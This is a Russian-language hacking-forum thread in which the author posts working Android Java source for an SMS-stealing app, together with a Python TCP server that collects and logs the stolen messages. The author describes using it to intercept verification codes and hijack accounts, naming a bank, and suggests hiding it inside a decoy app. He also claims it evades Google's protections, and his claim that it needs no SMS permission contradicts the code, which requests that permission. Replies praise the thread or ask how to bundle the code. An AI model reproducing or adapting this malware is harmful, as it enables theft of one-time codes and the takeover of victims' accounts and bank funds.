Загрузка...

SMS theft virus on Android - Description of the problem, Sample project

Thread in Virology created by Nmz Apr 14, 2024. (bumped Jul 27, 2024) 1582 views

  1. Nmz
    Nmz Topic starter Apr 14, 2024 45 Jul 31, 2023
    Всем привет :anime_hi:

    Сегодня хотел бы поговорить о простом, но опасном вирусе для Android, который, при правильном использовании,
    может быть использован для кражи поступающих SMS. Напишу простой пример и подробно расскажу о нем.


    Почему это опасно? :arnold: -

    Большинство сервисов привязаны к номеру телефона, а коды подтверждения отправляются по SMS.
    Это может быть любой сервис, и всё, что нужно для того, чтобы украсть аккаунт, это одно SMS с кодом подтверждения.

    Как реализовать? :interesting: -

    Код буду писать на Java (специально для Android) в среде Android Studio. Отправка будет производиться на сервер по TCP,
    а сервер будет написан на Python, ибо это не принципиально.



    Code
    public class MainActivity extends AppCompatActivity {

    private static final int REQUEST_READ_SMS_PERMISSION = 3004;
    private static final String SMS_URI = "content://sms/inbox";
    private static final String SERVER_IP = ""; // IP адрес сервера
    private static final int PORT = ; // Порт сервера
    private static final String TAG = "MainActivity";
    private SMSReceiver smsReceiver;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS}, REQUEST_READ_SMS_PERMISSION);
    } else {
    listenForServerRequests();
    registerSMSReceiver();
    }
    }

    @Override
    protected void onDestroy() {
    super.onDestroy();
    unregisterSMSReceiver();
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
    super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
    listenForServerRequests();
    registerSMSReceiver();
    }
    }

    private void listenForServerRequests() {
    new Thread(() -> {
    while (true) {
    try (Socket socket = new Socket(SERVER_IP, PORT);
    PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
    BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()))) {


    while (true) {

    Thread.sleep(1000);

    String newSms = readNewSms();
    if (newSms != null && !newSms.isEmpty()) {
    out.println(newSms);
    }
    }
    } catch (IOException | InterruptedException e) {
    e.printStackTrace();

    try {
    Thread.sleep(5000);
    } catch (InterruptedException ex) {
    ex.printStackTrace();
    }
    }
    }
    }).start();
    }

    private String readNewSms() {
    Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC LIMIT 1");
    String smsData = null;

    if (cursor != null && cursor.moveToFirst()) {
    String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
    smsData = body;
    cursor.close();
    }

    return smsData;
    }

    private void registerSMSReceiver() {
    smsReceiver = new SMSReceiver();
    IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
    registerReceiver(smsReceiver, intentFilter);
    }

    private void unregisterSMSReceiver() {
    if (smsReceiver != null) {
    unregisterReceiver(smsReceiver);
    smsReceiver = null;
    }
    }

    private class SMSReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
    Bundle bundle = intent.getExtras();
    if (bundle != null) {
    Object[] pdus = (Object[]) bundle.get("pdus");
    if (pdus != null) {
    for (Object pdu : pdus) {
    String format = bundle.getString("format");
    android.telephony.SmsMessage smsMessage = android.telephony.SmsMessage.createFromPdu((byte[]) pdu, format);
    String sender = smsMessage.getDisplayOriginatingAddress();
    String messageBody = smsMessage.getMessageBody();
    Log.d(TAG, "Received SMS from: " + sender + ", message: " + messageBody);

    // Отправить смс на сервер
    new Thread(() -> {
    try (Socket socket = new Socket(SERVER_IP, PORT);
    PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
    out.println(messageBody);
    } catch (IOException e) {
    e.printStackTrace();
    }
    }).start();
    }
    }
    }
    }
    }
    }

    Коду не нужно разрешение на доступ к смс :gigachad:


    Python
    import socket
    import os

    HOST = '0.0.0.0'
    PORT = 48540

    received_messages = set()
    received_clients = set()


    def log_sms(message):
    with open("sms_log.txt", "a") as file:
    file.write(message + "\n")

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()

    print("Listening for connections...")
    while True:
    conn, addr = s.accept()
    print("Connected by", addr)
    received_clients.add(conn)

    data = conn.recv(1024)
    if not data:
    break
    message = data.decode()
    if message not in received_messages:
    print("Received data:", message)
    received_messages.add(message)


    log_sms(message)


    for client in received_clients:
    client.sendall(data)


    with open("server_log.txt", "a") as file:
    file.write(f"Received data: {data}\n")
    Код сервера принимающего SMS по TCP с клиента :anime_hi:


    Спасибо за прочтение статьи, задавайте вопросы пишите личные буду рад всем. :yodaluv:
     
  2. Nmz
    Nmz Topic starter Apr 14, 2024 45 Jul 31, 2023
    =)
    The post was merged to previous Apr 14, 2024
    Можете к примеру написать простенькое приложение для маскировки и делать что хотите :anime_hi:
     
    1. Yapoonec
      Nmz, как можно склеить этот код и прогу?
  3. Nmz
    Nmz Topic starter Apr 14, 2024 45 Jul 31, 2023
    Код кстати обходит защиту гугла
     
  4. Nmz
    Nmz Topic starter May 2, 2024 45 Jul 31, 2023
    Таким образом можно увести аккаунты банков к примеру monobank уводиться на рад два
     
    1. sneger
      годная статья :+rep:
    2. Nmz Topic starter
      sneger, :duck_love: спасибо, если есть какие-то вопросы или дополнения пиши
  5. aLeX8073
    aLeX8073 Sep 17, 2024 73 Nov 29, 2021
    Ну тут пишем вот это потому что так нужно. Тут пишем это я думаю всем понятно для чего. Ну а компилировать все умеют, так же? А как работает вы и сами посмотреть можете. Очень полезная статья!
     
  6. betgen
    betgen Dec 23, 2024 0 Dec 22, 2024
     
  7. baselog
    baselog Jan 31, 2025 0 May 7, 2024
    Дай тг есть предложения
     
  8. кекич
    кекич Feb 22, 2025 38 Oct 22, 2024
    а как его зделать а то я новичок )
     
    1. Nmz Topic starter
      @jkert, Учи русский язык
  9. Arturhik
    Arturhik Jun 23, 2025 0 Nov 2, 2024
    @Spieder_REF мій тг напиши будьласка мені хочу поспілкуватись а попитати дещо
     
Loading...
Top